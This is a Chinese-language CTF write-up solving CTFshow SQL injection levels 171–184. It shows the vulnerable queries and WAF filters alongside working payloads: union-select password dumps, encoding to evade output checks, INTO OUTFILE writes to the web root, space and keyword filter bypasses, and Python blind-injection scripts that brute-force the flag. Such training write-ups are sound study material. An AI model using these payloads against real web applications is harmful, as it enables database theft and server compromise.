sqli_CTF Show


171

要点:使用 or true 绕过 where 后的条件约束(php中非零数字可代表true)

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
0' or true%23
0' or '1

需要自己把#编码为%23

172

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//返回逻辑:检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }
0' union select 1,group_concat(password)from ctfshow_user2 where username="flag"%23

173

要点:编码绕过返回内容过滤 hex() to_base64()

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//返回逻辑:检查结果是否有flag
	if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
1' union select 1,2,hex(group_concat(password))from ctfshow_user3 where username="flag"%23

174

要点:编码 替换

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//返回逻辑:检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
to_base64()编码后,用replace()将数字替换为字母
replace(object,search,replace)

175

要点:将查询结果写入文档然后访问

$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//返回逻辑:检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
1' union select 1,password from ctfshow_user5 into outfile "/var/www/html/1.txt"%23
#然后访问url/1.txt

176

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }
#union、select绕过,详见 MySQL绕过.md

177~179

同上
过滤空格

180

同上
#过滤了注释符和空格
0'||username='flag

181

要点:and or

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }
      
#注意limit 1,需要前面id=''搜索不到内容,然后搜索后面username='flag'得到想要的内容,and'1用于闭合单引号(不能or '1 ,使用or '1 从所有数据中返回第一条)
'or(username='flag')and'1
'||(username)='flag

182

要点:模糊查询(like regexp)

select * from tb1 where name regexp'a';
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }
0'||(id)='26

'||(password)regexp'{		#正则匹配{
'||(password)like'%{%	

183

要点:盲注,使用like或者regexp

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }
import requests

url='http://aefd8cad-6684-46a7-89d3-daeb81f816af.challenge.ctf.show/select-waf.php'

flag="ctfshow{"
for i in range(0,100):
    for j in "{0123456789abcdefghijklmnopqrstuvwxyz-}":
        data={
            'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 1" in r:
            flag += j
            print(flag)
            if j=='}':
                exit()
            break
            

184

#原理 使用join绕过对where的过滤
select * from tb1 as a join tb1 as b on (b.title regexp concat(char(97),char(97)));
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
  
  //对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }
import requests

url = 'http://9868e30a-0e18-44f9-ae7c-31598a569b9a.challenge.ctf.show/select-waf.php'
dic = '{0123456789abcdefghijklmnopqrstuvwxyz-}'
flag = 'ctfshow{'

def switchToChar(str):
    ret = 'concat('
    for i in range(len(str)):
        ret += f'char({ord(str[i])})'
        if i != len(str)-1:
            ret += ','
        else:
            ret += ')'
    return ret

def getPayload(c):
    payload = {
        'tableName':f'ctfshow_user as a join ctfshow_user as b on (b.pass regexp {switchToChar(flag+c)})'
    }
    return payload

for i in range(50):
    print(f'第{i}轮')
    for c in dic:
        payload = getPayload(c)
        # print(payload)
        rep = requests.post(url,payload)
        if '$user_count = 0;' in rep.text:
            continue
        else:
            flag += c
            print(flag)
            if c == '}':
                exit(123)
            break
            

相关